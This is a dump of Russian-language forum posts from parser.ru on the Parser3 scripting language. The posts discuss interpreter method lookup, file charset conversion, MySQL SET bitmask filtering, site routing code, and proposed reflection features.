\
Текущее поведение в парсере с самого начала, в байткоде команда так и называется GET_ELEMENT_OR_OPERATOR.\
[/quote]\
\
Вроде по тому, что я вижу сейчас в реализации GET_ELEMENT_OR_OPERATOR метод Request::execute сначала делает main_class.get_method(), а потом уже делает get_element на текущий контекст. Если элемента нет, то мы возвращаем void. Получается, что этот опкод работает как  GET_OPERATOR_OR_ELEMENT.\
\
[code]\
                case OP::OP_GET_ELEMENT_OR_OPERATOR:\
                        {\
                                const String& name=stack.pop().string();  debug_name=&name;\
                                Value& ncontext=stack.pop().value();\
                                if(Method* method=main_class.get_method(name)){ // looking operator of that name FIRST\
                                        if(!method->junction_template) method->junction_template=new VJunction(main_class, method);\
                                        stack.push(*method->junction_template);\
                                        break;\
                                }\
                                Value& value=get_element(ncontext, name);\
                                stack.push(value);\
                                break;\
                        }\
\
...\
\
Value& Request::get_element(Value& ncontext, const String& name) {\
#ifdef FEATURE_GET_ELEMENT4CALL\
        Value* value=ncontext.get_element(name);\
        return *(value ? &process_to_value(*value) : VVoid::get());\
}\
\
Value& Request::get_element4call(Value& ncontext, const String& name) {\
#endif\
        if(wcontext->get_somebody_entered_some_class()) // ^class:method\
                if(VStateless_class *called_class=ncontext.get_class())\
                        if(VStateless_class *read_class=rcontext->get_class())\
                                if(read_class->derived_from(*called_class)){ // current derived from called\
                                        Value *value=called_class->get_element(get_self(), name);\
                                        return *(value ? &process_to_value(*value) : VVoid::get());\
                                }\
\
#ifdef FEATURE_GET_ELEMENT4CALL\
        Value* value=ncontext.get_element4call(name);\
#else\
        Value* value=ncontext.get_element(name);\
#endif\
        return *(value ? &process_to_value(*value) : VVoid::get());\
}\
[/code]\
\
Ты думаешь, что изменить логику и сначала получить элемент из контекста, если его нет поискать метод в main_class и если ничего нет вернуть void приведет к проблеме?"
"82123","Привет. \"Давненько я не брал в руки шашек\".\
\
Понадобилось тут поднять на IIS + Windows 10 один старый код. Я скачал дистрибутив, поставил, настроил по старой памяти - но обнаружилось странное. Базовый пример ^eval(2*2) работал, а вот перебор списка переменных окружения падал с сообщением \"undefined method\", ругаясь на ^env:fields.foreach То бишь Парсеру не удавалось воспользоваться [i]встроенным[/i] методом.\
\
Подмена \"стабильной\" версии parser3.exe на бету решила проблему.\
\
Вопрос такой - а кто-нибудь может собрать и выложить 64-битные бинарники бета-версии CGI и ISAPI вариантов Парсера?"
"82124","[quote]Вопрос такой - а кто-нибудь может собрать и выложить 64-битные бинарники бета-версии CGI и ISAPI вариантов Парсера?[/quote]\
\
Сам парсер собрать проще простого. Проблема в основном в том, что надо пересобрать под 64 бита все используемые библиотеки, что уже куда менее тривиально. Ну и не совсем понятно зачем. :)\
\
Кстати релиз 3.4.4 уже собран, ждет готовности документации."
"82125","[quote]Ты думаешь, что изменить логику и сначала получить элемент из контекста, если его нет поискать метод в main_class и если ничего нет вернуть void приведет к проблеме?[/quote]\
\
Я же написал: \"Например с GET_DEFAULT и использующим его кодом придется проститься. :)\""
"82126","А можно подробнее о том, как геттеры зависят от приоритета поиска методов?"
"82127","@GET_DEFAULT[] (если он есть) будет вызываться при вызове операторов (поскольку например элемента if в объекте нет). Помимо драматического падения производительности если этот @GET_DEFAULT[] еще и вернет что-то, то до ^if и дело не дойдет...."
"82128","Спасибо, подождём известий."
"82129","Понятно. Получается, что надо наводить порядок с термином «оператор». :)"
"82130","Parser 3.4.4 RC станет релизом, без изменений?"
"82131","В релизе еще вот это исправлено: http://www.parser.ru/forum/?id=82026"
"82133","На \"не сложный\" случай, есть тип поля SET для MySQL вроде бы допускает до 64-х значений на одно такое поле.\
Работает быстро т.к. это битовые маски.\
т.е. в \"одной строке\" в колонке типа SET могут быть \
сразу 64 разных значения или любой их набор.\
\
Таким образом,\
[code]\
id	parameter_id\
1	1,2,5,8,19,32\
2	1\
3	8,9,54,12\
[/code]\
\
Работать это будет очень быстро и одновременно легко.\
\
\
Вообще можно и пролонгировать кол-во параметров\
больше 64, либо \"на коленках\" - введя диапазоны\
и добавив еще допустим 10 колонок типа SET\
получив 640 уникальных параметров одновременно в одной строке.\
\
А можно и самому на коленке битовые маски собрать.\
За примером ходить не надо, permission в unix\
rwx-rwx-rwx - как раз и вычисляет \"включенные\" и \"выключенные\"\
опции через битовые маски.\
\
где конечная уникальная последовательность опций, есть уникальное\
число, \
rwx rwx rwx = 777, rw- --- --- = 600 (в Octet)\
или 111 111 111, 110 000 000 в Binary соответственно\
\
математика этого довольно простая, и ее можно сделать самому.\
\
И если набор опций обозримо конечен (т.е. 1 бит уникальную опцию), то выборка последовательности включенных опций должна быть обозрима быстрее и компактнее в хранении.\
\
Тут надо эксперементировать.\
SET явно использует 8-байтовый BIGINT - поэтому и 64 значения (бита)\
\
Будет ли удобнее/быстрее сделать несколько SET-ов,\
или сконвертировать свое большое число в CHAR(fixed)\
и самому считать перед SELECT/INSERT - надо пробовать.\
\
Бенчмарки например на CHAR(36) показали, что они работают\
быстрее чем CHAR(36) c INDEX \
# это показал бенчмарк, как быстрее хранить и работать с UUID"
"82134","Вариант два - использовать дайджест хеш от последовательности опций.\
\
Тот же sha1 (более устойчив к коллизиям чем md5, и отчего-то даже быстрее на бенчмарках).\
\
Разумеется, это накладывает правило, что набор опций должен\
быть сортирован по их id - иначе перестановка перечислений, даст\
разные дайджесты\
\
Зато, кол-во и последовательность опций может быть\
обозримо большой с конечной длиной дайджеста\
\
[code]\
id    parameter_ids(sha1)                             comment                                    \
1     9e32295f 8225803b b6d5fdfc c0674616 a4413c1b    # 1,2\
2     ba79baeb 9f10896a 46ae7471 5271b7f5 86e74640    # 1,2,9999999\
...\
[/code]"
"82136","для частичной не пойдет - при поиске hash(1,2) != hash(1,2,9999999), вторая запись не найдется"
"82137","Ну да, тут не про поиск вхождения поднабора в набор.\
\
Тут скорее про формирование и поиск ряда конечных \
последовательностей (опций)\
\
когда самих id-параметров много, а их сочетания как раз\
более детерминированы\
\
т.е. поиск 1,2  OR 1,99  -"
"82138","а то может достать всё (ну или отфильтровать по одной главной категории), вернуть в виде json-а, а дальше всё сделать javascript-ом? в этом случае пользователь при изменении параметров сразу будет видеть результат и не будет повторно ждать ответа от сервера.\
\
в этом случае даже ваша структура БД подходит, т.к. не нужно заморачиваться с выборками (==индексами).\
\
понятно, что если делается аналог маркета, то это совсем не вариант. но ~1000 записей вернуть -- проблем никаких."
"82139","Хочу в объекте-обёртке звать ^hash.sort[].\
Но он, как и ^table.sort[], может принимать junction-code в контексте числа:\
[code]^hash.sort[key;value](…)[asc|desc][/code]\
и строки:\
[code]^hash.sort[key;value]{…}[asc|desc][/code]\
\
Понять, что передан junction-code теперь можно по ^reflection:is[…;code], а как узнать контекст?\
\
[code]@CLASS\
my_hash\
…\
@sort[key;value;sort;order]\
^switch[[color=\"#ff0000\"]…[/color]]{\
	^case[[color=\"#ff0000\"]…[/color]]{\
		^self.data.sort[k;v](\
			$caller.$key[$k]\
			$caller.$value[$v]\
\
			$sort\
		)[$order]\
	}\
	^case[[color=\"#ff0000\"]…[/color]]{\
		^self.data.sort[k;v]{\
			$caller.$key[$k]\
			$caller.$value[$v]\
\
			$sort\
		}[$order]\
	}\
}[/code]\
\
Можно пойти даже дальше и поставить вопрос перегрузки методов.\
Которая есть у нативных методов, но отсутствует у пользовательских."
"82140","В хелпе написано\
\
**********************\
moko 	24 июля 2015 13:15\
\
Для отдачи файлов с диска правильнее использовать $response:download[ $.file[documentation.pdf] ]. В этом случае файл не будет предварительно загружен в память, а значит нет ограничений на размер файла.		\
**********************\
\
выяснилось, что у входного хэша кроме $.file есть еще один параметр - $.name\
куда можно поместить публичное имя файла"
"82141","[quote]file - имя файла на диске (в этом случае Parser поддерживает докачку файлов [3.1.4]); \
name - имя файла, которое передать посетителю; \
mdate - дата и время изменения файла, которую передать посетителю. [/quote]\
\
А у [url=http://www.parser.ru/docs/lang/responsedownload.htm]download[/url] указано:\
[quote]Идентичен $response:body, но выставляет флаг, который браузер воспринимает как «Предложить посетителю сохранить файл на диске».[/quote]"
"82142","спасибо, ступил."
"82143","Не везде у нас в крае хороший интернет и скорость загрузки то же имеет очень большую роль, загрузить все даже для 100 записей, а потом сделать выборку слишком медленно. Или я не правильно что-то понял? А вообще да, делается аналог маркета, причем данные разнородные и набор полей разный для разных товарных групп..."
"82145","можно гадать, а можно -- посмотреть/померить.\
\
в моём случае важна отзывчивость после загрузки, данных не очень много и я гружу ~1500 записей вместе с поисковыми полями в виде json. браузеру требуется загрузить всего-то 80 KB gzip-нутого, что в общем совсем немного (меньше всего подключенных html/js/css), последующее добавление элементов в DOM занимает гораздо больше времени. при необходимости подгружается остальное.\
\
но я не знаю вашей задачи, возможно данный вариант там не применим совершенно."
"82146","Можно подробнее? Возможноя неправильно понял. Все необходимые данные которые загружаются у меня - карточка модели (html+картинка) получаются в среднем порядка 50-100 кб на карточку, т.е. даже 100 записей это от 5 до 10 мб..."
"82147","наверняка вам для _поиска_ и отображения _списка_ не нужны все данные: например не нужно большое описание. изображения наверняка живут на диске и url к ним можно построить.\
\
также можно оптимизировать json -- уменьшить длину аттрибутов (\"pub\" вместо \"published\", на 1000 записей уже экономия будет 6 КБ), 1/0 вместо true/false, где можно числа преобразовать в строки, выкинуть пустые аттрибуты и т.д.\
\
а вообще 100 КБ на запись (я про содержимое, html разметка не при делах, я же веду речь о динамической подгрузке данных) -- это очень дофига и никто никогда столько читать не будет, особенно при отображении списка."
"82148","Считаю, было бы полезно уметь определять задан ли в хеше ключ по умолчанию.\
\
[code]$hash[$._default[…]]\
^if(^hash.contains[_default]){y;n}[/code]\
\
Узнать можно обращением\
[code]^if(def $h._default){…}[/code]\
но нельзя узнать существует ли оно без обращения."
"82150","Просветите по ^date.roll[TZ]\
\
Надо ли указывать TZ \
в POSIX-формате типа MSK+03MSD\
или в Olson-формате Europe/Moscow\
\
и будет ли учтен DST (переход на зимнее/летнее время)\
автоматически (или этот переход отдается системой\
и как система сконвертирует так и будет) да?\
\
Или парсер что-то предпринимает свое?"
"82151","[quote]Надо ли указывать TZ в POSIX-формате типа MSK+03MSD или в Olson-формате Europe/Moscow[/quote]\
\
Это зависит от OS, в каком формате она понимает переменную TZ, в таком и можно писать. Первый формат более распространен (работает и под Windows).\
\
[quote]и будет ли учтен DST (переход на зимнее/летнее время) автоматически (или этот переход отдается системой и как система сконвертирует так и будет) да?[/quote]\
\
Это зависит от OS. Переход на зимнее/летнее время учитывается везде, но под Windows вроде как не хранится история изменения правил перехода на летнее/зимнее время, а под Linux - хранится с дореволюционных времен."
"82153","А это очень неудобно, когда приходит в данных. У mysql он не входит в класс пробельных символов, TRIM его не удаляет, приходится так\
\
[code]`col` = TRIM(BOTH CHAR(160) FROM `col`)[/code]\
\
А PCRE включает его в \\s\
\
[code]^s.match[\\s][g]{}[/code] - удаляет всё включая A0\
\
Кстати в файле кодировки windows-1251.cfg отмечен как white-spaces, но не знаю где и как эта информация используется, возможно тут - ^untaint[optimized-html]{}"
"82154","[url=http://www.parser.ru/forum/?id=81893]Загружая файлы по умолчанию в binary[/url], столкнулся с тем, что их невозможно впоследствии перекодировать.\
Даже если узнать кодировку и явно указать при создании файла получим ошибку «charset option can not be used with file-content».\
\
[code]$r[^file::load[binary;http://www.parser.ru/forum/]]\
\
$r[^file::create[$r][\
	$.mode[text]\
	$.content-type[$r.CONTENT-TYPE]\
	$.charset[windows-1251]\
]][/code]\
\
Если пойти на хитрость и передать текст бинарного файла:\
[code]$r[^file::create[$r.text][\
	$.mode[text]\
	$.content-type[$r.CONTENT-TYPE]\
	$.charset[windows-1251]\
]][/code]\
то получим перекодирование не в UTF-8, в котором происходит дело, а в ISO-8859-1 с преобразованием кириллицы в percent-encoding.\
\
Загрузить же в text и перевести в binary [url=http://www.parser.ru/forum/?id=81890]так же невозможно[/url].\
\
Совсем text/binary непреобразовываемыми друг в друга получаются."
"82155","[quote]Если пойти на хитрость и передать текст бинарного файла:[/quote]\
\
Почти правильно. Но есть одна проблема, $.charset[] - это кодировка [b]в которую[/b] надо перекодировать, а не [b]из которой[/b] надо перекодировать (ваш случай). Мне известно не очень красивое решение этого вопроса:\
\
[quote]$backup[$request:charset]\
$request:charset[Windows-1251]\
$r[^file::create[$r.text][\
    $.mode[text]\
    $.content-type[$r.CONTENT-TYPE]\
    $.charset[$backup]\
]]\
$request:charset[$backup]\
[/quote]\
\
Возможно стоит добавить опцию $.from-charset[]? А то я тоже наступал на похожую проблему..."
"82156","[quote]Кстати в файле кодировки windows-1251.cfg отмечен как white-spaces, но не знаю где и как эта информация используется, возможно тут - ^untaint[optimized-html]{}[/quote]\
\
Как раз поэтому PCRE включает его в \\s. :)\
А вот в optimized-html только пробел, таб и перенос строки.\
\
[quote]Нельзя ли сделать так, чтобы trim по умолчанию удалял и неразрывный пробел (A0 или C2A0)?[/quote]\
\
Не так просто, поскольку удаляемый символ зависит от кодировки, а кодировки это вопрос конфигурации. Разве что действительно все \\s удалять, но быстрее метод trim от этого работать не станет, плюс возможно проблемы с совместимостью вылезут где-нибудь..."
"82157","В принципе все тонкости в комментариях пользователей на странице доков MySQL есть.\
\
Для точного сравнения все также банально:\
[code]\
SELECT ... \
FROM ... \
WHERE  `col_by_set` = 'a' OR `col_by_set` = `a,b`\
\
Если вхождение параметра a в набор, то либо:\
SELECT...\
FROM...\
WHERE FIND_IN_SET('a',`col_by_set`) > 0\
\
либо:\
SELECT...\
FROM...\
WHERE `usr_opt` & 1\
# где, 1 - порядковый номер опции\
\
[/code]"
"82158","Добрый день! Столкнулся с такой проблемой.\
На сайте есть что-то вроде фронт-контроллера, он по URI и $form определяет страницы.\
Захотелось выводить правильно заголовок и ключевые слова.\
auto.p содержит в себе скелет сайта, весь html.\
К нему я подключаю rights.p который анализирует URI и $form и выводит страницу с содержимым.\
Есть еще seo.p в котором также анализируется URI и $form, но уже выводиться в виде хеша заголовок, ключевые слова и описание страницы.\
Не могу передавать с rights.p и seo.p на auto.p заголовок и все остальное, не знаю как правильно вызвать.\
\
Пытался в auto.p вызывать и $seo.out.$result.title и по разному, не знаю как и вообще правильно ли я пытаюсь.\
\
Вот кусок из auto.p:\
[code]\
@USE\
...\
/bulk/genus/seo.p\
\
@init[]\
...\
$seo[^info::init[]]\
$site[^get.getSite[]]\
\
@body[]\
<main>\
	<div id=\"content\">\
		^lSidebar[]\
		^rSidebar[]\
		^content[]\
	</div>\
	<div class=\"bumper\"></div>\
</main>\
@content[]\
^rights.page_rules[][/code]\
\
Вот кусок из rights.p:\
[code]@page_rules[]\
^seo.in[\
	^if(def $form:url){$.url[$form:url]}\
	^if(def $form:uri){$.uri[$form:uri]}\
	^if(def $form:pid){$.pid[$form:pid]}\
	$.req[$request:uri]\
]\
^path[\
	^if(def $form:url){$.url[$form:url]}\
	^if(def $form:uri){$.uri[$form:uri]}\
	^if(def $form:pid){$.pid[$form:pid]}\
	$.request[$request:uri]\
][/code]\
\
Ниже код seo.p (хочу @out передавать в auto.p и там ставить заголовки и прочее):\
[code]@in[params]\
$incoming[\
	$.url[$params.url]\
	$.uri[$params.uri]\
	$.pid[$params.pid]\
	$.req[$params.req]\
]\
$slash[^incoming.req.split[/;lh]]\
$address[$incoming.req]\
$address[^address.match[^^/admin(.+)]]\
^if(def $slash.3){\
	...\
	^if($cEntry){\
		^out[\
			$.title[$cEntry.title]\
			$.keywords[$cEntry.keywords]\
			$.description[^if(^cEntry.text.length[] >= 160){^cEntry.text.left(160)...}{^cEntry.text.left(160)}]\
		]\
	}\
	^if($cGoody){\
		...\
	}\
}\
^if(def $slash.2){\
	...\
	^if($cHeading){\
		^out[\
			$.title[$cHeading.title]\
			$.keywords[]\
			$.description[]\
		]\
	}\
	^if($cEntry){\
		...\
	}\
	^if($cGoody){\
		...\
	}\
}\
^if(def $slash.1){\
	...\
	^if($cSection){\
		...\
	}\
	^if($cEntry){\
		...\
	}\
	^if($cGoody){\
		...\
	}\
	^if($get.auth.gID == 1 && $incoming.req eq '/admin${address.1}'){\
		...\
	}\
	^if($incoming.req eq '/login^if(def $query.1){?${query.1}}'){\
		...\
	}\
	^if($incoming.req eq '/login^if(def $query.1){?${query.1}}'){\
		...\
	}\
	^if($incoming.req eq '/^if(def $query.1){?${query.1}}'){\
		^out[\
			^if($site){\
				$.title[$site.name]\
				$.keywords[$site.keywords]\
				$.description[$site.description]\
			}{\
				$.title[Главная]\
				$.keywords[]\
				$.description[]\
			}\
		]\
	}\
}\
\
@out[params]\
$result[\
	$.title[$params.title]\
	$.keywords[$params.keywords]\
	$.description[$params.description]\
][/code]"
"82159","Решение работает, спасибо.\
\
[quote]Возможно стоит добавить опцию $.from-charset[]?[/quote]\
\
По сути, хочется воспользоваться выгодой автоматической перекодировки в text-режиме, но получать данные изначально в binary, как в более совместимом режиме.\
\
В предложенном решении с перекодированием binary-текста нужно знать кодировку ответа, что не всегда возможно.\
Да и излишне, на мой взгляд.\
Если кодировка подключена в Парсере — почему бы не перекодировать автоматически.\
\
Быть может, стоит делать перекодирование при создании text-файла на основе binary-файла?\
И разрешить передавать $.charset[] в эту конструкцию, при необходимости перекодирования в требуемую кодировку.\
\
Таким образом\
[code]$r[^file::load[binary;http://www.parser.ru/forum/]]\
\
$r[^file::create[$r][\
	$.mode[text]\
	$.content-type[$r.CONTENT-TYPE]\
]][/code]\
было бы равнозначно\
[code]$r[^file::load[text;http://www.parser.ru/forum/]][/code]"
"82160","Мета-данные — такой же контент, привязанный к адресу.\
Его стоит хранить и обрабатывать аналогично."
"82161","[code]@USE\
get.p\
sidebars.p\
seo.p\
/bulk/genus/pages/home.p\
/bulk/genus/pages/section.p\
/bulk/genus/pages/heading.p\
/bulk/genus/pages/entry.p\
/bulk/genus/pages/goody.p\
/bulk/admin/control.p\
\
@init[]\
$get[^GET::init[]]\
$sidebars[^sidebars::init[]]\
$seo[^info::init[]]\
$M[^home::init[]]\
$S[^section::init[]]\
$H[^heading::init[]]\
$E[^entry::init[]]\
$G[^goody::init[]]\
$admin[^control::init[]]\
$address[$request:uri]\
$address[^address.match[^^/admin(.+)]]\
\
@path[params]\
^init[]\
$url[$params.url]\
$uri[$params.uri]\
$pid[$params.pid]\
$request[$params.request]\
$slash[^request.split[/;lh]]\
$query[^request.split[?;lh]]\
#Select all\
$aSections[^get.getSections[]]\
$aHeadings[^get.getHeadings[]]\
$aEntries[^get.getEntries[]]\
$aGoods[^get.getGoods[]]\
#Split\
$splitEntries[^aEntries.HID.split[,;lv;heading]]\
$splitGoods[^aGoods.HID.split[,;lv;heading]]\
#Hash by URI\
$_uaSections[^aSections.hash[url]]\
$_uaHeadings[^aHeadings.hash[url]]\
$_uaEntries[^aEntries.hash[link]]\
$_uaGoods[^aGoods.hash[link]]\
#Hash by ID\
$_iaSections[^aSections.hash[id]]\
$_iaHeadings[^aHeadings.hash[id]]\
$_iaEntries[^aEntries.hash[PID]]\
$_iaGoods[^aGoods.hash[GID]]\
#Sections and Headings\
^if($_uaSections.[$url]){\
	$cSection[^get.getSections[$.url[$url]]]\
	$sHeading[^get.getHeadings[$.section_id[$cSection.id]]]\
	$_usHeading[^sHeading.hash[url]]\
	$_isHeading[^sHeading.hash[id]]\
}\
^if($_uaHeadings.[$uri]){\
	$cHeading[^get.getHeadings[\
		$.section_id[$cSection.id]\
		$.url[$uri]\
	]]\
}\
#Rules\
^switch(true){\
	^case($_uaSections.[$url] && $_uaHeadings.[$uri] && $_uaEntries.[$pid] && $request eq '/${url}/${uri}/${pid}^if(def $query.1){?${query.1}}'){\
		$cEntry[^get.getEntries[\
			$.SID[$cSection.id]\
			$.NOHID[0]\
			$.link[$pid]\
		]]\
		^E.page[\
			$.s_id[${cSection.id}]\
			$.h_id[${cHeading.id}]\
			$.e_id[${cEntry.PID}]\
		]\
	}\
	^case($_uaSections.[$url] && $_uaHeadings.[$uri] && $_uaGoods.[$pid] && $request eq '/${url}/${uri}/${pid}^if(def $query.1){?${query.1}}'){\
		$cGoody[^get.getGoods[\
			...\
		]]\
		^G.page[\
			...\
		]\
	}\
	^case($_uaSections.[$url] && $_uaEntries.[$uri] && $request eq '/${url}/${uri}^if(def $query.1){?${query.1}}'){\
		...\
	}\
	^case($_uaSections.[$url] && $_uaGoods.[$uri] && $request eq '/${url}/${uri}^if(def $query.1){?${query.1}}'){\
		...\
	}\
	^case($_uaSections.[$url] && $_uaHeadings.[$uri] && $request eq '/${url}/${uri}^if(def $query.1){?${query.1}}'){\
		...\
	}\
	^case($_uaSections.[$url] && $request eq '/${url}^if(def $query.1){?${query.1}}'){\
		...\
	}\
	^case($_uaEntries.[$url] && $request eq '/${url}^if(def $query.1){?${query.1}}'){\
		...\
	}\
	^case($_uaGoods.[$url] && $request eq '/${url}^if(def $query.1){?${query.1}}'){\
		...\
	}\
	^case($get.auth.gID == 1 && $request eq \"/admin${address.1}\"){\
		^admin.page[]\
		^sidebars.rightCtrl[]\
	}\
	^case($request eq '/^if(def $query.1){?${query.1}}'){\
		^M.page[]\
	}\
	^case[DEFAULT]{\
		^M.p404[]\
	}\
}\
\
@page_rules[]\
^seo.in[\
	...\
]\
^path[\
	^if(def $form:url){$.url[$form:url]}\
	^if(def $form:uri){$.uri[$form:uri]}\
	^if(def $form:pid){$.pid[$form:pid]}\
	$.request[$request:uri]\
][/code]"
"82162","Что ничего не понятно.\
\
Я не знаю, как вы собираетесь такое расширять и поддерживать.\
\
Вам [url=http://www.parser.ru/forum/?id=82038]уже приводили разумную схему маршрутизации[/url], вы напрасно не смотрите в указанную сторону."
"82164","Задачу решил. Сделал набор таблиц содержащих в названии полей id параметра. Работает быстро. Парсер позволяет комфортно работать с такой структурой. Спасибо всем откликнувшимся."
"82165","Попробуйте начать с того, что [url=http://www.parser.ru/forum/?id=82038]каждое предложение[/url] перевести в парсерный код.\
\
Подсказка:\
URL: [code]/news/best/2015/[/code]\
\
имеется метод, генерирующий некую страницу:\
[code]@onNewsBest[params]\
…[/code]\
\
Задача: разобрав URL вызвать метод и передать ему параметры для генерации страницы."
"82166","Id в названии столбцов таблиц??\
Можно поподробнее, что то у меня сомнения в адекватности такого решения"
"82167","Собственно вот https://atom.io/packages/language-parser3\
\
Пользуйтесь, кто хочет. Баги можете репортить на valera.yatsko@gmail.com\
\
Рекомендуемые пакеты для Atom, если кто будет пользоваться в первый раз:\
apm install nuclide-quick-open nuclide-open-filenames-provider nuclide-health nuclide-recent-files-provider nuclide-fuzzy-filename-provider color-picker merge-conflicts pigments emmet advanced-new-file git-plus tree-view-git-status remote-sync\
\
Вместо Sublime SFTP можно использовать remote-sync пакет (примерно такой же в настройке)."
"82170","Собственно код:\
\
[code]\
$tm[^date::create[2015-01-01 10:00:00]]\
^tm.gmt-string[] -> Thu, 01 Jan 2015 07:00:00 GMT\
^tm.sql-string[] -> 2015-01-01 10:00:00\
  \
[/code]\
\
gtm-string сдвигает автоматически \
отталкиваясь от браузерных переменных окружения? \
или почему так."
"82173","Когда-то поднимался [url=http://www.parser.ru/forum/?id=71053]вопрос об имени файла класса или объекта[/url].\
Да, [url=http://www.parser.ru/forum/?id=71055]предложенное решение[/url] работает.\
Но возникает необходимость дублировать код с @auto[] в каждом классе, что некрасиво.\
Как и хитрые имена переменных для хранения имён файлов каждого класса.\
\
Предлагаю рассмотреть вопрос нативном поле $obj.FILE_NAME."
"82176","По аналогии с текущим поведением @auto[filespec].\
\
В случае с partial более выигрывает последний декларированный @auto[], значит в $self.FILE_NAME будет имя последнего импортированного файла.\
\
В случае с генерацией значением будет «-body of process-».\
Можно и пустую строку, так как файла физически не существует."
"82177","С версии 3.4.1 есть удобная возможность принимать позиционированные аргументы в виде хеша.\
Однако, передать произвольное количество позиционированных аргументов хешем нельзя — только перечислив их явно.\
\
[code]@call[method;*params]\
$object[^reflection:create[$CLASS;create]]\
$method[^reflection:method[$object;$method]]\
$result[^method[$params.0;$params.1;…]]\
[/code]\
\
Что не даёт возможности делать гибкие вызовы, пробрасывая произвольное количество параметров.\
Например:\
[code]\
^call[my_method;a;b;c]\
\
@call[method;*params]\
$object[^reflection:create[$CLASS;create]]\
$method[^reflection:method[$object;$method]]\
$result[^method[*$params]]\
[/code]\
\
По аналогии с Питоном:\
[code]def test(*args):\
	test2(*args)[/code]\
\
Аналогично можно было бы передать в качестве аргументов сформированный хеш:\
[code]$params[\
	$.0[a]\
	$.1[b]\
]\
\
^method[*$params]\
\
@method[a;b]\
…[/code]\
\
Понимаю, что синтаксис со звёздочкой несовместим с текущей версией.\
Быть может найдутся варианты получше."
"82178","Передача параметров и хеш никак не взаимозаменяемы (в обычном вызове метода). С точки зрения реализации логичнее наверное сделать ^reflection:call[method;<хеш, который станет хешем параметров>], вносить ради этого изменения в синтаксис мне кажется не стоит. Хотя у меня так вообще часто один параметр - хеш опций и такой проблемы в принипе не возникает."
"82179","$obj.FILE_NAME делать не стоит, все такие неявные поля потенциальный источник проблем (тем более что имя потенциально используемое). Можно сделать ^reflection:filename[$class or object], технически это не очень сложно."
"82180","+1 к спасибо. :)"
"82181","[quote]Передача параметров и хеш никак не взаимозаменяемы (в обычном вызове метода).[/quote]\
\
Я именно об этом.\
Получить можно, передать нельзя.\
\
[quote]С точки зрения реализации логичнее наверное сделать ^reflection:call[method;<хеш, который станет хешем параметров>][/quote]\
\
Вполне вариант.\
\
Хотя, конечно, есть двусмысленность: неясно передан хеш или хеш позиционированных параметров.\
Кроме эвристического анализа имён ключей не отличить."
"82182","[quote]$obj.FILE_NAME делать не стоит, все такие неявные поля потенциальный источник проблем (тем более что имя потенциально используемое).[/quote]\
\
Ну, CLASS_NAME тоже вполне может использоваться.\
Мне кажется FILE_NAME не сильно хуже в плане конфликтов.\
\
[quote]Можно сделать ^reflection:filename[$class or object], технически это не очень сложно.[/quote]\
\
Согласен.\
Кому нужно сделает\
[code]@GET_FILE_NAME[]\
$result[^reflection:filename[$self]][/code]"
"82184","В названии поля фигурирует id параметра к которому я обращаюсь, например мне надо выбрать только те сроки в которых 1,3 параметры равны единицы, а 5-й например больше 3 но меньше 7. соответсвенно\
[code]\
where\
(param_1 = 1 OR\
param_3 = 1) AND\
param_5 > 3 AND\
param_5 < 7\
[/code]\
как то так. Все работает быстро и корректно."
"82187","Ничего, индексы не используются, не то количество строк..."
"82188","Добрый день.\
Форма отправляется методом POST на ту же страницу, которая может содержать GET параметры, например, /?param1=1&param2=2.\
\
При этом в параметры могут вписать те же поля, какие есть на форме, из-за чего одинаковые запишутся в $form:tables.field_name.\
\
Каким образом отдельно получить хеш с данными POST и GET, как это сделано в PHP ($_POST, $_GET)?"
"82190","А вот сопровождать такую матрицу может оказаться непросто. Сколько строк(товаров) и столбцов(характеристик) вы предполагаете? При изменении состава характеристик вам нужно будет делать каждый раз ALTER TABLE, что на больших таблицах может вообще стать невозможным.\
\
Смоделируйте реальные данные и сделайте типовые запросы к своей базе"
"82191","Парсинг $request:body - дело понятное.\
\
Возможно, есть какие-то готовые объекты или методы, позволяющие получить POST отдельно от GET, т.к. при наличии одного параметра с общим именем в $form:field_name пишется GET.\
\
Неужели расковыривание $request:body - единственный способ решения проблемы?"
"82192","Имеется хитрый код:\
[code]@main[]\
$t[^test::create[]]\
\
GET_DEFAULT и GET_: $t.test<br/>\
вызовы:<br/>\
GET_DEFAULT test<br/>\
GET_t<br/>\
<hr/>\
GET_: $t.t<br/>\
вызовы:<br/>\
GET_t<br/>\
GET_DEFAULT a\
<hr/>\
\
ожидается:<br/>\
b=b<br/>\
вызовы:<br/>\
GET_DEFAULT test<br/>\
GET_t<br/>\
GET_DEFAULT a\
\
\
@CLASS\
test\
\
@create[data]\
$self._data[\
	$.a[b]\
]\
$self._fields[\
	$.test[t]\
]\
\
@GET_t[]\
# $self.a возвращает пустой результат, при том, что прямое обращение к полю — $self._data.a — ожидаемый\
\
$result[$self.a=$self._data.a]\
\
@GET_DEFAULT[name]\
^if(^self._data.contains[$name]){\
# 	обращение к полю в _data\
\
	$result[$self._data.$name]\
}{\
# 	обращение к полю в _fields через геттер\
\
	$result[$self.[$self._fields.$name]]\
}[/code]\
\
Почему-то из @GET_t[] не происходит обращения к @GET_DEFAULT[a].\
Я что-то делаю не так?"
"82193","Я разбил все на несколько таблиц по группам товаров. И опять же использовал в названии таблицы ид группы. Так что в итоге получается что в одной таблице и товаров не много и полей. Собственно похожим образом я уже реализовывал другую задачу, там порядка 50 полей и около 5000 записей, 6 лет полет нормальный..."
"82194","... не использовать одинаковые имена для get и post параметров."
"82195","Понимаю, но дописать эти параметры могут вручную.\
Должен же быть способ получать отдельно POST и GET.\
\
Неужели парсер хуже пхп по этой части, раз в нем нет таких массивов.)"
"82196","[quote]Понимаю, но дописать эти параметры могут вручную.[/quote]\
\
И?\
А POST «вручную дописать» не могут?\
\
[quote]Должен же быть способ получать отдельно POST и GET.[/quote]\
\
Для чего?"
"82197","Допустим, что идет POST на страницу с GET-параметрами из внешнего источника.\
POST может содержать такие же параметры, это зависит от отправляющей стороны.\
\
В итоге берем только POST - готовый хеш данных, а не расколбашиваем $request:body."
"82198","Воспринимайте передаваемые данные единым набором, нет принципиальной разницы как они переданы.\
\
Плохой сторонний запрос — есть плохой запрос, определяйте его и ругайтесь.\
Отправлять данные следует в рамках оговоренного интерфейса.\
\
Сколько ни было дискуссий про POST и GET, приходили к выводу, что задачи, где разделение действительно требуется достаточно редки.\
Для таких задач разработчик может написать себе разбор по необходимым признакам.\
В большинстве остальных случаев удобно работать с общим набором данных.\
\
\
P. S. Судя по эксперименту, POST-поля не перезаписывают GET-поля.\
Так что проблемы с перекрытием в вашем примере не будет.\
Одноимённые POST-поля не будут доступны в $form, но будут доступны в $request:body."
"82199","[quote]Хотя, конечно, есть двусмысленность: неясно передан хеш или хеш позиционированных параметров.\
Кроме эвристического анализа имён ключей не отличить.[/quote]\
